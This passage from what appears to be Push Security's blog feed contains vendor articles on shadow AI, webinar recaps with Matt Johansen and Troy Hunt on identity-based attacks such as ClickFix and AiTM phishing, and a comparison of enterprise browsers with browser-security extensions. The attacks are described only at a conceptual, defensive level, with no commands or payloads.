isn&#39;t, and continuous monitoring for changes that signal increased risk. But it&#39;s vital that teams act fast to stop the snowball.</p><p><b>That starts with visibility into which AI tools employees are actually using and which accounts they&#39;re using to access them — without that baseline, every other control is built on assumptions.</b></p><p><b>Extensions</b> need the same <a href="https://pushsecurity.com/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach/">default-deny allowlisting approach</a> that has been best practice for software management elsewhere: build a complete inventory, allowlist what&#39;s vetted, block everything else, and monitor the approved set for changes that precede weaponization.</p><p><b>OAuth</b> demands the most urgency, because each unmanaged integration is a persistent trust relationship that survives password resets and MFA changes — adopt default-deny for consent grants in your primary enterprise apps, routinely audit what&#39;s already connected, and critically extend that visibility beyond Google and Microsoft to the broader SaaS estate where the controls are weaker and the sprawl is harder to track.</p><hr/><h1><b>Browser visibility and control is key to de-risking AI adoption</b></h1><p>AI usage is fundamentally browser-based activity — every LLM interaction, every prompt containing sensitive data, every AI agent authorization, every OAuth consent grant happens inside a browser session — which makes the browser the natural control point for AI governance across the workforce. </p><p>Push tracks AI app usage and login security across the workforce, inventories and controls AI browser extensions, monitors and blocks OAuth consent flows across any app (not just the primary enterprise platforms), and gives security teams a single view of the full shadow AI picture across all four dimensions.</p><p>Shadow AI isn&#39;t a problem that will age well if ignored. Every week that passes without visibility adds more apps, more extensions, more integrations, and more potential breach paths into the environment — and as the Vercel breach demonstrated, it only takes one forgotten OAuth grant to turn an employee&#39;s idle curiosity into an organization-wide incident.</p><p>Learn more about how you can tackle <a href="https://pushsecurity.com/uc/shadow-ai"><u>Shadow AI</u></a> with Push. </p><hr/><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.</p><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p>Book a <a href="https://pushsecurity.com/demo"><u>live demo</u></a> to learn more.</p>]]></content:encoded>
    </item>
    <item>
      <title>What we learned from 'Security Theater vs. Security That Works' with Matt Johansen</title>
      <link>https://pushsecurity.com/blog/7-things-we-learned-from-matt-johansen</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/7-things-we-learned-from-matt-johansen</guid>
      <pubDate>Thu, 21 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Daniel Park</dc:creator>
      <category>Browser security</category>
      <category>Risk management</category>
      <description>What we learned from sitting down with Matt Johansen to discuss the difference between security theater and security that actually works. </description>
      <content:encoded><![CDATA[<h1><b>1. Hackers don&#39;t hack in, they log in</b></h1><p>Matt made the point early on that &quot;the modern web frameworks that have come out have done more to shift application security than any security vendor ever did.&quot; It&#39;s measurably harder to write exploitable code in 2026 than it was even five years ago, and the data reflects that — as Matt put it, &quot;most hacks that we read about these days are actually logins, not actually hacks in terms of vulnerabilities.&quot; Attackers aren&#39;t breaking in — they&#39;re logging in.</p><p>The data backs this up across the board. CrowdStrike&#39;s 2026 Global Threat Report found that <b>82% of attack detections are now malware-free</b> — no exploit, no payload, just access and legitimate functionality being abused. <a href="https://services.google.com/fh/files/misc/cloud_threat_horizons_report_h12026.pdf">Google/Mandiant</a> recently reported that identity issues were the initial access vector in 83% of cloud-related incidents.</p><p>And when you look at the economics, the shift makes obvious sense: a browser RCE goes for around $250,000, while a PhaaS kit rental runs about $1,000 per year and a bulk stolen credential list costs $15. For a rational attacker, identity abuse isn&#39;t just easier — it&#39;s orders of magnitude cheaper.</p><p>This isn&#39;t a new observation, but it&#39;s one that still hasn&#39;t fully landed in how most organizations allocate their security budgets. The bulk of enterprise security spending is still pointed at the endpoint and the network — tooling built for an era when the primary threat was malware and exploitation. The threat model has moved, and for a lot of organizations, the stack hasn&#39;t moved with it.</p><hr/><h1><b>2. AI is a force multiplier, but it isn&#39;t a super hacker</b></h1><p>The Mythos discourse has been hard to escape. As Matt put it, the view that &quot;the AI super hacker has escaped the lab&quot; is &quot;not actually what&#39;s going on.&quot; What&#39;s actually happening is that AI models trained to understand code are turning out to be very good at finding specific types of vulnerabilities in predominantly legacy codebases — but defenders stand to gain a lot too.</p><p>As Matt referenced, Google&#39;s CISO Heather Adkins said on stage at the Unprompted conference that Google&#39;s stated goal is &quot;to eliminate all software vulnerabilities, period.&quot; And browser zero-days already hit a <a href="https://cloud.google.com/blog/topics/threat-intelligence/2025-zero-day-review">historic low at just 9% of all zero-days reported to Google in 2025</a>.</p><p>But won&#39;t AI-assisted vulnerability discovery eventually make browser exploits cheaper for attackers too? Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development.</p><p>As Matt noted, &quot;they didn&#39;t train these models to be good at cybersecurity — they just trained them to get better and better at code,&quot; and big tech vendors like Google have the resources to really invest in these tools. The rational play for attackers is the same one it&#39;s been for years: skip the exploit development entirely and <a href="https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/">steal identities and sessions in the browser</a> instead.</p><hr/><h1><b>3. MFA is essential — but it isn&#39;t a silver bullet</b></h1><p>Nobody&#39;s arguing against MFA. It&#39;s one of the most important security controls any organization can deploy, and both Matt and Mark were clear about that. But the conversation surfaced something that doesn&#39;t get enough attention: there are always gaps in coverage, and attackers have consistently found ways under, over, or through it.</p><p>Mark observed that every organization he talks to says they&#39;re in the process of &quot;rolling out&quot; MFA. It&#39;s always in progress, never complete — there&#39;s always an app that doesn&#39;t support it, a legacy system that can&#39;t handle it, a user population that hasn&#39;t been migrated, or a SaaS vendor charging extra for the privilege (the <a href="https://pushsecurity.com/blog/minimum-viable-identity-security/">security tax</a>). Coverage gaps are the norm, not the exception.</p><p>Then there&#39;s the bypass evolution. Matt walked through the history — SMS and SIM swapping, push notifications and push fatigue, and now <a href="https://pushsecurity.com/blog/2025-top-phishing-trends/">AiTM kits </a>that proxy the entire authentication flow, capturing both the password and the MFA token in a single attack. Every step up the MFA ladder, attackers have found a way around. Phishing-resistant methods like hardware tokens and passkeys are a meaningful improvement, but rollout is slow and uneven.</p><p>And then there&#39;s the class of attacks that sidestep authentication entirely. Consent phishing, <a href="https://pushsecurity.com/blog/device-code-phishing/">device code phishing</a>, session hijacking — these are all post-authentication attacks. The user has already authenticated successfully, the MFA did its job, and the attacker is going after what comes after: OAuth tokens, session cookies, consent grants. Matt compared these to zero days for identity — they bypass the entire front end of your defensive stack. MFA is absolutely something you should be rolling out and strengthening, but it&#39;s one layer in what needs to be a deeper defense.</p><hr/><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/L0Yc77y9vzrKVD72BQGX2/4ffe0bf61bd62f025262b8efd74394b7/Browser___Identity_Attacks_Matrix__1_.png" alt="Browser &amp; Identity Attacks Matrix"/><figcaption>Browser and identity-based techniques have exploded since we first launched our attack matrix</figcaption></figure><hr/><h1><b>4. User training is not enough: better technical controls are required</b></h1><p>Matt was blunt on this one: &quot;If those tips worked, cybersecurity as a profession would be out of business.&quot; 20+ years of user awareness training, and phishing is arguably more effective than ever. The standard advice — hover over links, check the sender, look for typos — assumes a level of sustained vigilance that no human can maintain across every interaction, every day.</p><p>What made his point land was the contrast between the comment sections on his ClickFix content — &quot;Who the hell would fall for this?&quot; — and the reality that <b>every incident response professional he knows is currently working a ClickFix case. </b>The people saying nobody would fall for it are not the people cleaning up after it.</p><p>Matt also brought the recent Lazarus group fake job scams: threat actors spending six months building trust with a target — meeting in person at conferences, multiple times — before eventually getting them to install a malicious browser extension during a Zoom call. All of the social engineering that precedes the actual compromise is just trust-building, and the sophistication of that trust-building is increasing faster than any training program can keep up with. You need defensive layers that don&#39;t depend on the user making the right call every single time.</p><hr/><h1><b>5. Every IR pro you know is working a ClickFix case</b></h1><p>ClickFix came up repeatedly, and for good reason — it&#39;s one of the <a href="https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/">most common initial access vectors</a> being reported right now. Matt said he doesn&#39;t know a single IR professional in his network who &quot;isn&#39;t actively working a ClickFix-related case.&quot; The technique, which tricks users into copying and pasting malicious commands, has spawned an entire family of variants (<a href="https://pushsecurity.com/blog/installfix/"><u>InstallFix</u></a>, <a href="https://pushsecurity.com/blog/consentfix/">ConsentFix</a>, and others), and they&#39;re evolving fast.</p><p>Matt shared a particularly good example of why the &quot;just don&#39;t fall for it&quot; advice falls apart. Attackers were paying for ads promoting ChatGPT chat history links on technical search queries — things like &quot;how to clean up disk space on Mac.&quot; The top result was a legitimate-looking ChatGPT interface with what appeared to be helpful terminal commands.</p><p>The user was already looking for commands to copy and paste into their terminal. The attack didn&#39;t need to trick them into doing something unusual — it just showed up in the exact context where copy-pasting commands was the expected behavior.</p><p>The new variants keep appearing because the underlying technique is modular — the trust-building wrapper changes (fake CAPTCHAs, fake error messages, fake install instructions, fake AI chat interfaces), but the core mechanic is the same. What makes it dangerous is that each new wrapper goes quasi-viral among attackers when it proves successful, which means the window between a new variant appearing and widespread adoption is very short.</p><h1><b>6. Browser extensions are the threat that never went away (and it&#39;s a bigger problem than ever)</b></h1><p>Browser extensions are a topic we&#39;ve <a href="https://pushsecurity.com/resources/browser-extensions-webinar">covered in depth before</a>, and Matt&#39;s perspective reinforced why. His first conference talk — Black Hat and DEF CON in 2011 — was about Chrome extension security. As he put it: &quot;I could give that talk right now with very few changes to the slides and it would still be extremely relevant.&quot;</p><p>The core problem hasn&#39;t moved: <a href="https://pushsecurity.com/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach/">extensions need broad permissions to function</a>, even for completely legitimate use cases. A password manager needs to read login forms on every website. A dark mode extension needs to modify the DOM on every page. An RSS reader needs access to arbitrary sites. These aren&#39;t excessive permissions — they&#39;re the minimum required for the extension to do what it advertises.</p><p>What&#39;s making it worse is the AI adoption wave. Many AI tools ship with browser extension counterparts, and employees are installing them alongside the apps themselves — often without approval. The broader rush to adopt AI tooling is acting as a force multiplier for the shadow SaaS problem that security teams have been struggling with for years, and extensions are a big part of that.</p><p>The ways extensions get compromised vary. Users still get tricked into installing something malicious from the start, but legitimate extensions also turn malicious after the fact. Matt outlined several mechanisms: developer accounts getting compromised and attackers pushing malicious updates to the existing user base; extension developers accepting monetization deals that turn out to be data-harvesting operations; and threat actors outright purchasing extensions with established user bases and then pushing malware to them.</p><p>The Chrome Web Store doesn&#39;t solve this. Matt noted that he uploaded a proof-of-concept extension literally called &quot;Malicious Extension&quot; and it made it onto the store. There&#39;s some review process, but it&#39;s not real-time, it&#39;s not continuous, and it doesn&#39;t cover updates after initial submission.</p><p>Even organizations with a formal extension approval process typically only look at the extension once — at install time. Nobody&#39;s reviewing every update to every approved extension. And the risk assessment? &quot;It&#39;s mostly based on vibes. There&#39;s very little science here.&quot; Even at organizations with mature security programs, Matt hasn&#39;t seen many that have <a href="https://pushsecurity.com/blog/browser-extension-management-guide/">real-time, ongoing visibility</a> into what&#39;s happening inside their employees&#39; browser extensions.</p><hr/><h1><b>7. You have 30 minutes to respond to a cloud intrusion — and revoking the token isn&#39;t enough</b></h1><p>Matt was direct about the speed benchmark practitioners should be targeting: meaningful containment and eradication within about 30 minutes, because attackers are partially achieving their objectives in 20 to 40 minutes and significantly past the point of no return within an hour.</p><p>The data supports this picture. CrowdStrike reports that the average e-crime &quot;breakout time&quot; (moving from initial access to high-value assets) is now just 29 minutes, while Google reports that the median time between initial access and hand-off to a secondary group has collapsed from <a href="https://cloud.google.com/blog/topics/threat-intelligence/m-trends-2026">over 8 hours in 2022 to just 22 seconds in 2025</a> — pointing to a highly automated, interconnected, and professionalized threat actor ecosystem.</p><p>But speed alone isn&#39;t the problem Matt emphasized — it&#39;s that the containment actions practitioners think they have don&#39;t actually work the way they expect. His anecdote about revoking an IdP OAuth token and assuming the session was killed, only to discover that the 200 downstream SaaS session tokens were still live, will resonate with anyone who has worked an identity-based incident.</p><p>You can&#39;t move that fast if you&#39;re figuring out what your tools can and can&#39;t do during the incident. The teams that handle these situations well are the ones that have taken stock of their actual capabilities beforehand — what their IdP revokes, what it doesn&#39;t, which SaaS apps have independent session management, where the gaps are. The teams that don&#39;t are the ones at &quot;1 AM with a pager in hand going, &#39;What the hell do I do now?&#39;&quot; as Matt described it. &quot;Ask me how I know.&quot;</p><hr/><blockquote><p>This post is a recap of <a href="https://pushsecurity.com/resources/security-theatre-vs-security-works">Security theatre vs. security that works</a>, the third episode in Push Security&#39;s webcast series on the state of browser attacks. Watch the full recording for the complete conversation, including live Q&amp;A with Mark and Matt.</p></blockquote><hr/><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.</p><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p><a href="https://pushsecurity.com/demo"><u>Book a live demo</u></a> to learn more.</p>]]></content:encoded>
    </item>
    <item>
      <title>Enterprise browser vs. browser extension: Which should your security team choose?</title>
      <link>https://pushsecurity.com/blog/enterprise-browser-vs-browser-extension-which-should-your-security-team-choose</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/enterprise-browser-vs-browser-extension-which-should-your-security-team-choose</guid>
      <pubDate>Thu, 21 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Alex Henshall</dc:creator>
      <category>Browser security</category>
      <category>Risk management</category>
      <description>If you're building a shortlist of browser security vendors, do you need a full-stack enterprise browser, or browser security extension? </description>
      <content:encoded><![CDATA[<p>At first, it may seem like an obvious choice, partly because the category name &quot;Secure Enterprise Browser&quot; implies the answer is a full-stack browser. Plus, the most visible vendors in the space have spent the past few years marketing that exact choice as the only one. </p><p>But the market tells a different story. The majority of vendors Gartner places in the SEB category are now extensions rather than full browsers, and Gartner explicitly notes that extensions have become the preferred option. </p><blockquote><p>The buyer-side data tells the same story: In <a href="https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market/"><u>Omdia&#39;s 2026 survey of 400 IT and security professionals</u></a>, 48% of organizations cited the ability to use their existing browsers as an important attribute in a secure browsing solution.</p></blockquote><p>The truth is: Full-stack enterprise browsers and browser security extensions like Push aren’t competing products. They serve different needs for different teams, though they often get evaluated against each other.</p><p>Full-stack enterprise browsers serve the IT team&#39;s need to control the workspace. Browser security extensions like Push meet the security team&#39;s need to protect their users as they work in their browsers — a fundamentally different problem. </p><p>In this article, we’ll cover why a feature-by-feature checklist is the wrong approach when selecting a secure browser platform, and what questions to consider instead. We’ll also discuss what each type of solution excels at, where Push fits in, and how to map your needs to the right solution.</p><hr/><h1><b>Full-stack enterprise browsers meet the IT team&#39;s need to control a workspace</b></h1><p>Full-stack enterprise browsers like Island, Prisma Browser, and SURF Security are best understood as managed workspace platforms rather than browsers in the conventional sense. </p><blockquote><p>Island&#39;s own CEO Mike Fey has described the company&#39;s strategy as transforming the browser into <i>&quot;a centralized, enterprise-grade platform, eliminating layers of legacy IT infrastructure by building more functionality in the browser.&quot;</i> </p></blockquote><p>Chrome Enterprise and Edge for Business occupy a related space as productivity-suite browsers extended with native security controls, sold as part of the broader Google and Microsoft workplace stacks. Different products with different lineage, but all of them converge on the same owner: an IT organization solving for workspace control.</p><p>The IT team is trying to achieve workspace policy compliance and access governance. Their primary use case is typically reducing reliance on legacy IT tools like VDI, VPN, remote browser isolation, DaaS, web filtering, and CASBs. In this world, the use cases look like: </p><ul><li><p><b>Securing third-party contractors or BYOD</b> where the workspace itself is the access control. </p></li><li><p><b>Regulated populations</b> like call centers, BPO workforces, finance teams handling sensitive material, where output controls like watermarking, screenshot restriction, and print blocking need to be enforced at the OS rendering layer. </p></li><li><p><b>Legacy app support</b> including IE-mode rendering for applications that have never been modernized. </p></li></ul><p>For these use cases, the architecture is well-suited, and there are numerous full-stack SEB solutions that address them well. Where the full-stack approach runs into trouble is in getting users to migrate onto a new browser and in justifying the cost of doing so. Both problems scale with the size of the workforce. </p><h2><b>Cost of deployment is a significant blocker for full-stack browsers</b></h2><p>The migration costs are easy to predict: deployment and configuration effort, help desk volume and — biggest of all — user resistance. But it’s the license cost that limits deployments in many organizations going from a free consumer browser to a paid replacement for the first time. </p><p>In fact, Gartner notes that most buyers start with a single use case like covering contractors and rarely pursue organization-wide deployment for a full-stack enterprise browser. </p><p>For organizations that do achieve a full-coverage deployment for these full-stack browsers, the need to manage drift in employee behavior over time gets harder. Agentic browsers like Comet, Atlas, and Dia are already starting to pull users toward AI-native workflows that consumer browsers don’t offer and full-stack enterprise browsers don’t currently match.</p><hr/><h1><b>What a browser security extension built for the security team looks like</b></h1><p>Most browser security extensions on the market were built to address this migration hurdle. They attempt to take as many of the features of a full-stack browser as possible, but make it possible to deploy into users’ existing browsers, sidestepping a lot of the cost and rollout problems.</p><p>LayerX, Seraphic, SquareX, and Keep Aware have all at some point echoed this approach in their product descriptions with the line <i>&quot;make any browser an enterprise browser.&quot;</i></p><p>Ultimately, that approach is still aimed at solving problems for the IT team more than the security team.</p><h2><b>Push is different — we built a browser extension to meet the security team&#39;s needs</b></h2><p>Push set out to meet a different need. Our team&#39;s background has always been in defending organizations against advanced attacks. We spent our careers working in red and blue teams throughout the network and endpoint eras of cyber attacks. The mission we started with in 2022 was to defend organizations against the <a href="https://pushsecurity.com/thank-you/browser-attacks-report"><u>new era of damaging cyber attacks that originate in the browser</u></a>. </p><p>We chose a browser extension as the approach for our solution, not because we wanted to build an easier-to-deploy enterprise browser, but so we could use it as a security agent to collect high-fidelity telemetry for TTP-based detections, and apply real-time controls to stop attacks at the earliest opportunity in the modern  — <a href="https://pushsecurity.com/resources/browser-identity-attacks-matrix/"><u>browser and identity native</u></a>  — kill chain. <b>In effect, we created EDR, but for the browser. </b>This is what gives Push the edge compared to other Secure Enterprise Browser solutions when it comes to tackling the highest priority threats in the browser — <a href="https://pushsecurity.com/blog/how-to-avoid-the-browser-security-buyers-trap/"><u>we’re optimized for this problem area</u></a>. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4z1RAFROesqaBF4H3qR8yu/1e21a68602402773bfa843fd0208d4ca/Screenshot_2026-07-27_at_10.36.43.png" alt="Comparing ease of deployment x security value for browser security solutions"/><figcaption>Comparing ease of deployment x security value for browser security solutions.</figcaption></figure><p>For a security team using Push’s extension, this means attacks get stopped at the earliest opportunity in the kill chain and before they cause harm. </p><p>When a user lands on a phishing page built to harvest their credentials, Push sees the page rendering and the JavaScript executing inside the DOM, and can block the credential submission before the form posts. When a user is being walked through a ClickFix or ConsentFix social engineering flow, Push sees the clipboard writes and the OAuth consent flow parameters being prepared, and can intervene before the user completes the action. When a session token is stolen and replayed against a different device, Push sees the session activity and surfaces the compromise. <b>Push does all of this from a browser extension, without needing to replace the user&#39;s browser. </b></p><p>The same underlying technology also addresses other high-value security use cases: Visibility and control over AI usage; hardening identities and surfacing shadow IT; and supporting insider investigations and preventing data loss. </p><p>The <a href="https://pushsecurity.com/blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value/">highest-value use cases</a> the browser can address are all powered by the same underlying technical capability, which is why Push&#39;s single extension can address four major security use cases rather than four separate tools needing four separate deployments. The success metric for security teams using Push is attacks averted or stopped, cyber risk reduced, and security posture and resilience strengthened — not workspace policy compliance.</p><h2><b>Proven at scale: What security leaders are saying</b></h2><p>Push launched its browser extension in 2022, making it one of the first and longest-running browser security extensions in the category, and it is now deployed across more than three million browsers worldwide.</p><p>Many <a href="https://pushsecurity.com/customer-stories"><u>Push customers</u></a> were initially considering full-stack enterprise browsers, but found that Push provided all the visibility and control they needed without the migration headache.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3puINxgWMVBvsieKSMxbcA/d68e403607ea8786de911f7c0bbdd1d3/Frame_628075.png" alt="SEB Blog Quote Callout"/><figcaption>What security leaders have to say about Push.</figcaption></figure><h2><b>The extension matters, but it&#39;s what we built around it that really counts</b></h2><p>The extension is the most visible part of the Push platform, but what Push has built around it makes the solution the most powerful security tool in the browser:</p><ul><li><p><b>In-house threat research that discovers attack techniques as they emerge.</b> Push researchers track real-world adversary activity and discover new techniques as they appear, including <a href="https://pushsecurity.com/blog/consentfix/">ConsentFix</a>,<a href="https://pushsecurity.com/blog/installfix/"> InstallFix</a>, and creating the <a href="https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/">Browser &amp; Identity Attacks Matrix</a>. Detection is only as good as the threat understanding behind it, and research is what keeps that understanding ahead of what attackers are doing in the wild.</p></li><li><p><b>Agentic threat hunting and detection engineering at machine speed.</b> Push&#39;s <a href="https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline/">agentic detection pipeline</a> operationalizes the research, generating new behavioral detections in minutes rather than quarterly releases — covering the <a href="https://pushsecurity.com/blog/how-the-browser-became-the-main-cyber-battleground/">techniques behind the Scattered Spider, Scattered Lapsus$ Hunters, and ShinyHunters breaches</a> of the past three years. Attackers are using AI to accelerate the pace at which they generate new lures, kits, and infrastructure; Push keeps security teams in front by advancing the capability at machine speed and scale.</p></li><li><p><b>Collecting the right telemetry to surface both attacker behavior and risky user action.</b> Telemetry by itself is just data — the value comes from knowing what to collect, why it matters, and how to turn it into detections and controls. Push combines deep instrumentation of the browser with the expertise to use what we collect: the same browser-layer telemetry that detects AiTM kits, ClickFix and ConsentFix lures, and session token replay also surfaces what users are pasting into AI tools, which <a href="https://pushsecurity.com/blog/ghost-logins-when-forgotten-identities-come-back-to-haunt-you/">SaaS apps they&#39;re logging into outside the IdP</a>, which OAuth grants are being made, and which <a href="https://pushsecurity.com/blog/browser-extension-management-guide/">extensions are running in their browsers</a>. The threat detection and the identity, AI, and DLP use cases are not separate features — they are different applications of the same underlying telemetry, surfaced because Push knows what to look for.</p></li><li><p><b>Enforcing the right controls at the right place at the right moment.</b> Visibility without actionability is only half a solution. Push turns the browser into a strong control point for stopping attacks and risky user behaviors in real time — reusing passwords, intercepting credential submission to non-IdP domains, blocking ClickFix clipboard payloads before paste-execute, prompting MFA enrollment at the point of login, warning on weak or breached passwords at credential entry, and surfacing app banners that communicate policy at the moment of use. The same control surface that stops attackers stops the user&#39;s mistakes that lead to the next breach.</p></li><li><p><b>Balancing security and privacy.</b> Push is designed to give security teams the telemetry they need without monitoring personal browsing. By default, only logins to configured corporate domains are observed; personal browsing is not collected. (Though administrators have the option to observe personal account logins to work apps, and identify where browsers are being synced to personal accounts, which can result in password loss.) Plaintext passwords and form inputs are never transmitted — passwords are analyzed locally using salted partial hashes. Broader browser metadata is stored on the device and only transmitted when it matches a detection rule. Push does not train AI models on customer telemetry.</p></li></ul><hr/><h1><b>Full-stack enterprise browsers and Push’s browser extension are not mutually exclusive</b></h1><p>It’s worth pausing on a point that often gets lost in the way the market discusses this choice. Full-stack enterprise browsers and Push’s extension-based solution are not mutually exclusive. They do different things for different teams, and they run together. </p><p>Push supports enterprise browsers like Island and Prisma Browser. Many of Push’s customers use a full-stack browser for the contractor population or regulated workload where the IT team needs workspace controls, and Push across the rest of the workforce to provide the deep security capabilities that the IT team is not measured on but the security team is. The right framing for many enterprises is not whether to choose full-stack or extension. It is full-stack for the IT use cases that need it, and Push everywhere else.</p><hr/><h1><b>Which one is right for your security team?</b></h1><p>The answer follows from the need you are trying to meet. The scenarios below cover the most common real-world situations and the approach that fits each.</p><p><b>Is your priority detecting and stopping attacks in the browser?</b> Go with Push. Push detects and stops the threats actually breaching enterprises — AiTM phishing, ClickFix, OAuth abuse, malicious browser extensions. It also provides valuable additional insight during investigations to understand incidents better and decide how to respond to them. </p><p><b>Do you have a large contractor or third-party population needing locked-down workspace controls?</b> Use a full-stack enterprise browser for that population and Push for everyone else. Watermarking, screenshot blocking and print restriction are OS-level controls that extensions cannot reliably replicate.</p><p><b>Do you have a multi-browser estate including a mix of consumer and agentic browsers?</b> Push will provide the coverage you need to secure users. The browser options are growing, and locking your workforce into a single corporate browser becomes harder every time a new productivity-shaping browser ships. Push regularly adds support for emerging browsers.</p><p><b>Is significant BYOD or unmanaged-device coverage required.</b> Push is a great option, particularly if you also have Chromebooks that fall outside of your EDR coverage. The extension can easily be installed via email or landing page self-enrollment, with options to enforce coverage through conditional access policies. This provides full threat detection and policy enforcement on devices the organization does not own.</p><p>In short, if you are solving for workspace control, the right tool is a full-stack enterprise browser. If you’re solving for protecting users as they work in their browsers, Push is the tool built specifically for that need — with the research depth, detection engineering, and operational scale to do the job.</p><p><a href="https://pushsecurity.com/demo"><u>Book a live demo to learn more</u></a>.</p>]]></content:encoded>
    </item>
    <item>
      <title>Troy Hunt webinar recap: Lessons from 'Yes, you've been pwned' with Troy Hunt</title>
      <link>https://pushsecurity.com/blog/7-things-we-learned-from-troy-hunt</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/7-things-we-learned-from-troy-hunt</guid>
      <pubDate>Wed, 20 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Daniel Park</dc:creator>
      <category>Browser-based attacks</category>
      <category>Risk management</category>
      <description>Here are 7 things we learned from our conversation with Troy Hunt on the &quot;Yes, you've been pwned&quot; webinar. </description>
      <content:encoded><![CDATA[<p>The thread running through the whole conversation was identity: how attackers get it, why defenders struggle to protect it, and what the current generation of attacks means for security teams that thought they&#39;d solved the credential problem.</p><hr/><h1><b>1. Compromised credentials are everywhere, and most organizations can&#39;t tell which ones matter</b></h1><p>The scale of enterprise identity is the backdrop for the entire conversation. The average employee maintains around 15 SaaS accounts, and only a fraction of those sit behind SSO. Of the last million logins observed by Push, <a href="https://pushsecurity.com/blog/the-cisos-data-problem-and-how-browser-telemetry-can-help/">1 in 4 were password-based rather than SSO, 2 in 5 were not protected by MFA, and 1 in 5 used a weak, breached, or reused password</a>. That&#39;s the starting posture — before you even account for how many of those credentials have already been stolen.</p><p>Troy&#39;s data suggests the answer is: most of them. &quot;We know credential reuse is massive,&quot; he said. &quot;We know attackers get credentials from one data breach and then they go along and they try them on all sorts of different services, and now you&#39;ve got one data breach leading to multiple account takeovers.&quot; His service now holds billions of email addresses, monitors 400,000 domains including more than half the Fortune 500, and sends millions of breach notifications every year.</p><p>The problem compounds because, as Troy put it, &quot;data never really dies.&quot; Employees leave, but their credentials persist in breach datasets and across the SaaS apps they signed up for during their tenure. When an organization pulls its breach exposure data, a significant proportion of what comes back is noise — departed employees, fabricated email addresses, accounts for services that were never sanctioned. Mark described the operational reality: getting a notification that an email address has appeared in a breach &quot;can be very helpful context, but can also be a recipe for spending some time only to find out that maybe that person left two years ago.&quot;</p><p>The proof is in the breaches. The <a href="https://pushsecurity.com/blog/snowflake-retro/">Snowflake incident</a> was the watershed example — 80% of the compromised accounts had prior breach exposure in datasets dating back to 2020, but without MFA enforcement and without visibility into which credentials were actively in use, those warnings went unanswered while attackers walked in through the front door. The accounts still had local, password-based logins enabled — <a href="https://pushsecurity.com/blog/ghost-logins-when-forgotten-identities-come-back-to-haunt-you/">ghost logins</a> that persisted even in environments that thought they&#39;d moved to SSO.</p><p>Push&#39;s approach is to <a href="https://pushsecurity.com/blog/verified-stolen-credential-detection/">match breach intelligence against observed login behavior</a> — correlating stolen credential feeds with the authentication events Push sees in the browser, so that a compromised credential only generates an alert when someone is actively logging in with it. That eliminates 99% of the false positives that make raw breach feeds so painful to operationalize, and turns a low-fidelity data source into something security teams can actually act on.</p><hr/><h1><b>2. Attacks aren&#39;t slowing down — they&#39;re industrializing</b></h1><p>With that many vulnerable credentials sitting in circulation, the question is how easily attackers can exploit them — and the answer, as Troy described it, is easier than ever. &quot;There&#39;s almost like the democratization of hacking tools,&quot; he said. &quot;When you get all of these things as a service — phishing as a service, ransomware as a service — you don&#39;t need to be particularly technically smart if you can go and pay someone else for access to their infrastructure.&quot;</p><p>The criminal tooling ecosystem now mirrors legitimate SaaS: turnkey platforms with tiered pricing, customer support, and continuous development cycles. Phishing-as-a-Service kits like <a href="https://pushsecurity.com/blog/2025-top-phishing-trends/">Tycoon2FA</a> — responsible for 62% of phishing blocked by Microsoft — offer turnkey AiTM infrastructure that intercepts session tokens in real time and bypasses MFA out of the box. The kits are also converging: AiTM platforms are adding device code phishing modules, credential harvesting kits are adding session token capture, and <a href="https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/">60–70% of phishing attacks now originate from PhaaS platforms</a>. The sophistication of the attack no longer reflects the sophistication of the attacker.</p><p>As Troy said: &quot;If you look at this through the lens of the moral neutrality of technology, that rising tide lifts all boats. And some of those boats are criminals who can now do things easier than before.&quot;</p><hr/><h1><b>3. You don&#39;t need to be a hacker to breach a Fortune 100 company</b></h1><p>One of the most striking threads in the conversation was Troy&#39;s observation about who is actually behind these breaches — and how little technical sophistication they bring to the table. &quot;The average age of people that are being arrested for a lot of these data breach style activities is around about 19,&quot; he said. &quot;Fortune 100 companies are being breached by a kid in his bedroom. That is wild.&quot;</p><p>The leverage is disproportionate precisely because the attacks don&#39;t require deep technical skill. &quot;A lot of the attacks lately have been social engineering attacks,&quot; Troy continued, noting with parental familiarity that &quot;kids are great at social engineering — if you&#39;ve got kids, you know how good they are at social engineering.&quot;</p><p>The <a href="https://pushsecurity.com/blog/analyzing-the-instructure-breach/"><u>ShinyHunters</u></a> ecosystem — the group Troy and Mark discussed as the dominant threat actor at the time of recording — exemplifies this pattern. They&#39;re getting into Salesforce instances via voice phishing, not through zero-day exploits, and the tooling behind their campaigns is industrialized enough that Push&#39;s research team was able to <a href="https://pushsecurity.com/blog/inside-criminal-phishing-panel/">infiltrate one of their criminal phishing panels</a> and observe real-time victim targeting across four distinct 